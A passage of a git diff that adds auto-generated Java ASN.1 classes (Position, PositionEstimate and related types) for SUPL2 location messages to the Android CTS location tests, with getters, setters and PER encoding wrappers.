+ public static PosMethod fromPerUnaligned(byte[] encodedBytes) {
+ PosMethod result = new PosMethod();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PosMethod from encoded stream.
+ */
+ public static PosMethod fromPerAligned(byte[] encodedBytes) {
+ PosMethod result = new PosMethod();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "PosMethod = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Position.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Position.java
new file mode 100755
index 0000000..668b17a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Position.java
@@ -0,0 +1,425 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.Asn1UTCTime;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Position extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Position
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Position() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Position;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Position != null) {
+ return ImmutableList.of(TAG_Position);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Position from encoded stream.
+ */
+ public static Position fromPerUnaligned(byte[] encodedBytes) {
+ Position result = new Position();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Position from encoded stream.
+ */
+ public static Position fromPerAligned(byte[] encodedBytes) {
+ Position result = new Position();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Position.timestampType timestamp_;
+ public Position.timestampType getTimestamp() {
+ return timestamp_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Position.timestampType
+ */
+ public void setTimestamp(Asn1Object value) {
+ this.timestamp_ = (Position.timestampType) value;
+ }
+ public Position.timestampType setTimestampToNewInstance() {
+ timestamp_ = new Position.timestampType();
+ return timestamp_;
+ }
+
+ private PositionEstimate positionEstimate_;
+ public PositionEstimate getPositionEstimate() {
+ return positionEstimate_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PositionEstimate
+ */
+ public void setPositionEstimate(Asn1Object value) {
+ this.positionEstimate_ = (PositionEstimate) value;
+ }
+ public PositionEstimate setPositionEstimateToNewInstance() {
+ positionEstimate_ = new PositionEstimate();
+ return positionEstimate_;
+ }
+
+ private Velocity velocity_;
+ public Velocity getVelocity() {
+ return velocity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Velocity
+ */
+ public void setVelocity(Asn1Object value) {
+ this.velocity_ = (Velocity) value;
+ }
+ public Velocity setVelocityToNewInstance() {
+ velocity_ = new Velocity();
+ return velocity_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getTimestamp() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTimestamp();
+ }
+
+ @Override public void setToNewInstance() {
+ setTimestampToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Position.timestampType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "timestamp : "
+ + getTimestamp().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getPositionEstimate() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPositionEstimate();
+ }
+
+ @Override public void setToNewInstance() {
+ setPositionEstimateToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PositionEstimate.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "positionEstimate : "
+ + getPositionEstimate().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getVelocity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getVelocity();
+ }
+
+ @Override public void setToNewInstance() {
+ setVelocityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Velocity.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "velocity : "
+ + getVelocity().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+ /*
+ */
+
+
+//
+
+/**
+ */
+public static class timestampType extends Asn1UTCTime {
+ //
+
+ private static final Asn1Tag TAG_timestampType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public timestampType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_timestampType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_timestampType != null) {
+ return ImmutableList.of(TAG_timestampType);
+ } else {
+ return Asn1UTCTime.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new timestampType from encoded stream.
+ */
+ public static timestampType fromPerUnaligned(byte[] encodedBytes) {
+ timestampType result = new timestampType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new timestampType from encoded stream.
+ */
+ public static timestampType fromPerAligned(byte[] encodedBytes) {
+ timestampType result = new timestampType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "timestampType = [ " + toHumanReadableString() + " ];\n";
+ }
+
+}
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Position = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PositionEstimate.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PositionEstimate.java
new file mode 100755
index 0000000..46d569c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PositionEstimate.java
@@ -0,0 +1,1457 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class PositionEstimate extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_PositionEstimate
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PositionEstimate() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PositionEstimate;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PositionEstimate != null) {
+ return ImmutableList.of(TAG_PositionEstimate);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PositionEstimate from encoded stream.
+ */
+ public static PositionEstimate fromPerUnaligned(byte[] encodedBytes) {
+ PositionEstimate result = new PositionEstimate();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PositionEstimate from encoded stream.
+ */
+ public static PositionEstimate fromPerAligned(byte[] encodedBytes) {
+ PositionEstimate result = new PositionEstimate();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PositionEstimate.latitudeSignType latitudeSign_;
+ public PositionEstimate.latitudeSignType getLatitudeSign() {
+ return latitudeSign_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PositionEstimate.latitudeSignType
+ */
+ public void setLatitudeSign(Asn1Object value) {
+ this.latitudeSign_ = (PositionEstimate.latitudeSignType) value;
+ }
+ public PositionEstimate.latitudeSignType setLatitudeSignToNewInstance() {
+ latitudeSign_ = new PositionEstimate.latitudeSignType();
+ return latitudeSign_;
+ }
+
+ private PositionEstimate.latitudeType latitude_;
+ public PositionEstimate.latitudeType getLatitude() {
+ return latitude_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PositionEstimate.latitudeType
+ */
+ public void setLatitude(Asn1Object value) {
+ this.latitude_ = (PositionEstimate.latitudeType) value;
+ }
+ public PositionEstimate.latitudeType setLatitudeToNewInstance() {
+ latitude_ = new PositionEstimate.latitudeType();
+ return latitude_;
+ }
+
+ private PositionEstimate.longitudeType longitude_;
+ public PositionEstimate.longitudeType getLongitude() {
+ return longitude_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PositionEstimate.longitudeType
+ */
+ public void setLongitude(Asn1Object value) {
+ this.longitude_ = (PositionEstimate.longitudeType) value;
+ }
+ public PositionEstimate.longitudeType setLongitudeToNewInstance() {
+ longitude_ = new PositionEstimate.longitudeType();
+ return longitude_;
+ }
+
+ private PositionEstimate.uncertaintyType uncertainty_;
+ public PositionEstimate.uncertaintyType getUncertainty() {
+ return uncertainty_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PositionEstimate.uncertaintyType
+ */
+ public void setUncertainty(Asn1Object value) {
+ this.uncertainty_ = (PositionEstimate.uncertaintyType) value;
+ }
+ public PositionEstimate.uncertaintyType setUncertaintyToNewInstance() {
+ uncertainty_ = new PositionEstimate.uncertaintyType();
+ return uncertainty_;
+ }
+
+ private PositionEstimate.confidenceType confidence_;
+ public PositionEstimate.confidenceType getConfidence() {
+ return confidence_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PositionEstimate.confidenceType
+ */
+ public void setConfidence(Asn1Object value) {
+ this.confidence_ = (PositionEstimate.confidenceType) value;
+ }
+ public PositionEstimate.confidenceType setConfidenceToNewInstance() {
+ confidence_ = new PositionEstimate.confidenceType();
+ return confidence_;
+ }
+
+ private AltitudeInfo altitudeInfo_;
+ public AltitudeInfo getAltitudeInfo() {
+ return altitudeInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AltitudeInfo
+ */
+ public void setAltitudeInfo(Asn1Object value) {
+ this.altitudeInfo_ = (AltitudeInfo) value;
+ }
+ public AltitudeInfo setAltitudeInfoToNewInstance() {
+ altitudeInfo_ = new AltitudeInfo();
+ return altitudeInfo_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getLatitudeSign() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLatitudeSign();
+ }
+
+ @Override public void setToNewInstance() {
+ setLatitudeSignToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PositionEstimate.latitudeSignType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "latitudeSign : "
+ + getLatitudeSign().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getLatitude() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLatitude();
+ }
+
+ @Override public void setToNewInstance() {
+ setLatitudeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PositionEstimate.latitudeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "latitude : "
+ + getLatitude().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getLongitude() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLongitude();
+ }
+
+ @Override public void setToNewInstance() {
+ setLongitudeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PositionEstimate.longitudeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "longitude : "
+ + getLongitude().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getUncertainty() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUncertainty();
+ }
+
+ @Override public void setToNewInstance() {
+ setUncertaintyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PositionEstimate.uncertaintyType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "uncertainty : "
+ + getUncertainty().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getConfidence() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getConfidence();
+ }
+
+ @Override public void setToNewInstance() {
+ setConfidenceToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PositionEstimate.confidenceType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "confidence : "
+ + getConfidence().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getAltitudeInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAltitudeInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setAltitudeInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AltitudeInfo.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "altitudeInfo : "
+ + getAltitudeInfo().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class latitudeSignType extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ north(0),
+ south(1),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_latitudeSignType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public latitudeSignType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_latitudeSignType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_latitudeSignType != null) {
+ return ImmutableList.of(TAG_latitudeSignType);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new latitudeSignType from encoded stream.
+ */
+ public static latitudeSignType fromPerUnaligned(byte[] encodedBytes) {
+ latitudeSignType result = new latitudeSignType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new latitudeSignType from encoded stream.
+ */
+ public static latitudeSignType fromPerAligned(byte[] encodedBytes) {
+ latitudeSignType result = new latitudeSignType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "latitudeSignType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class latitudeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_latitudeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public latitudeType() {
+ super();
+ setValueRange("0", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_latitudeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_latitudeType != null) {
+ return ImmutableList.of(TAG_latitudeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new latitudeType from encoded stream.
+ */
+ public static latitudeType fromPerUnaligned(byte[] encodedBytes) {
+ latitudeType result = new latitudeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new latitudeType from encoded stream.
+ */
+ public static latitudeType fromPerAligned(byte[] encodedBytes) {
+ latitudeType result = new latitudeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "latitudeType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class longitudeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_longitudeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public longitudeType() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_longitudeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_longitudeType != null) {
+ return ImmutableList.of(TAG_longitudeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new longitudeType from encoded stream.
+ */
+ public static longitudeType fromPerUnaligned(byte[] encodedBytes) {
+ longitudeType result = new longitudeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new longitudeType from encoded stream.
+ */
+ public static longitudeType fromPerAligned(byte[] encodedBytes) {
+ longitudeType result = new longitudeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "longitudeType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+*/
+public static class uncertaintyType extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_uncertaintyType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public uncertaintyType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_uncertaintyType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_uncertaintyType != null) {
+ return ImmutableList.of(TAG_uncertaintyType);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new uncertaintyType from encoded stream.
+ */
+ public static uncertaintyType fromPerUnaligned(byte[] encodedBytes) {
+ uncertaintyType result = new uncertaintyType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new uncertaintyType from encoded stream.
+ */
+ public static uncertaintyType fromPerAligned(byte[] encodedBytes) {
+ uncertaintyType result = new uncertaintyType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private uncertaintyType.uncertaintySemiMajorType uncertaintySemiMajor_;
+ public uncertaintyType.uncertaintySemiMajorType getUncertaintySemiMajor() {
+ return uncertaintySemiMajor_;
+ }
+ /**
+ * @throws ClassCastException if value is not a uncertaintyType.uncertaintySemiMajorType
+ */
+ public void setUncertaintySemiMajor(Asn1Object value) {
+ this.uncertaintySemiMajor_ = (uncertaintyType.uncertaintySemiMajorType) value;
+ }
